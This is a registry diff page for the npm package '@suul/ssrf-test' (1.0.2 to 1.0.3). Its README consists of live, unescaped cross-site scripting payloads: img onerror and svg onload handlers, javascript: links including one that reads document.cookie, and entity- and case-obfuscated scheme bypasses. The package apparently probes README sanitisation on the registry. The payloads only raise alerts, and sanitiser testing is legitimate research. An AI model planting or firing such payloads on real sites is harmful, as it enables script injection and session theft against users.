@suul/ssrf-test 1.0.2 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/README.md +19 -10
  2. package/package.json +2 -3
package/README.md CHANGED
@@ -1,14 +1,23 @@
1
- # ssrf-test
1
+ # XSS Research
2
2
 
3
- Security research.
3
+ ## Test: img src=javascript
4
+ <img src="javascript:alert(document.domain)">
4
5
 
5
- ## XSS Tests
6
+ ## Test: img src=data URI
7
+ <img src="data:text/html,<script>alert(1)</script>">
6
8
 
7
- Test 1: `<img src="x" onerror="document.title='XSS1'">`
8
- Test 2: `<svg onload="document.title='XSS2'"></svg>`
9
- Test 3: `<a href="javascript:void(0)">link</a>`
10
- Test 4: Normal paragraph with **bold** text.
9
+ ## Test: img src with URL scheme tricks
10
+ <img src="JAVASCRIPT:alert(1)">
11
+ <img src="Java&#x73;cript:alert(1)">
11
12
 
12
- <img src="x" onerror="document.title='XSS-SURVIVED'">
13
- <svg onload="document.title='XSS-SVG'"></svg>
14
- <a href="javascript:alert(document.cookie)">JS link</a>
13
+ ## Test: a href variants
14
+ <a href="JaVaScRiPt:alert(1)">click</a>
15
+ <a href="&#106;avascript:alert(1)">click2</a>
16
+ <a href="javascript&colon;alert(1)">click3</a>
17
+
18
+ ## Test: SVG with multiple techniques
19
+ <svg><script>alert(1)</script></svg>
20
+ <svg><use href="javascript:alert(1)"></use></svg>
21
+
22
+ ## Test: details/summary
23
+ <details ontoggle="alert(1)"><summary>click</summary></details>
package/package.json CHANGED
@@ -1,9 +1,8 @@
1
1
  {
2
2
  "name": "@suul/ssrf-test",
3
- "version": "1.0.2",
4
- "description": "SSRF test - security research",
3
+ "version": "1.0.3",
4
+ "description": "XSS research",
5
5
  "main": "index.js",
6
- "readme": "README.md",
7
6
  "license": "MIT",
8
7
  "publishConfig": {"access": "public"}
9
8
  }